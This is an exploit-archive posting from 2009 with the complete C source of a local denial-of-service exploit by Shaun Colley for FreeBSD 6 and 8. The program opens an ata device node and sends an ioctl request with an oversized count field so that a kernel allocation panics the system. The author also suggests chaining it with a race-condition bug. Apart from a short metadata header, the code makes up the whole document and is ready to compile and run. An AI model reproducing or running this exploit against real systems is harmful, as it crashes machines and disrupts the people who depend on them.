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FreeBSD 6/8 ATA Denial Of Service

FreeBSD 6/8 ATA Denial Of Service
Posted Jul 13, 2009
Authored by Shaun Colley

Local denial of service kernel panic exploit for FreeBSD versions 6 and 8 that takes advantage of the ata device.

tags | exploit, denial of service, kernel, local
systems | freebsd
SHA-256 | 0d0bc3bb1d78ccd24a5e499aaa69c2a6845c58b7800175a57622b9e9bffb949a

FreeBSD 6/8 ATA Denial Of Service

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/* atapanic.c
*
* by Shaun Colley, 13 July 2009
*
* this panics the freebsd kernel by passing a large value to malloc(9) in one of
* fbsd's ata ioctl's. tested on freebsd 6.0 and 8.0. you need read access to the
* ata device in /dev to be able to open() the device. chain with some race condition
* bug?
*
* - shaun
*
*/


#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>

struct ata_ioc_requestz {
union {
struct {
u_int8_t command;
u_int8_t feature;
u_int64_t lba;
u_int16_t count;
} ata;
struct {
char ccb[16];
} atapi;
} u;

caddr_t data;
int count;
int flags;

int timeout;
int error;
};


#define IOCATAREQUEST _IOWR('a', 100, struct ata_ioc_requestz)

int main() {

struct ata_ioc_requestz evil;
int fd;

evil.count = 0xffffffff;
fd = open("/dev/acd0", O_RDONLY); /* /dev/acd0 is one of my ata devices */

ioctl(fd, IOCATAREQUEST, &evil);

/* should never reach here if kernel panics */
return 0;
}

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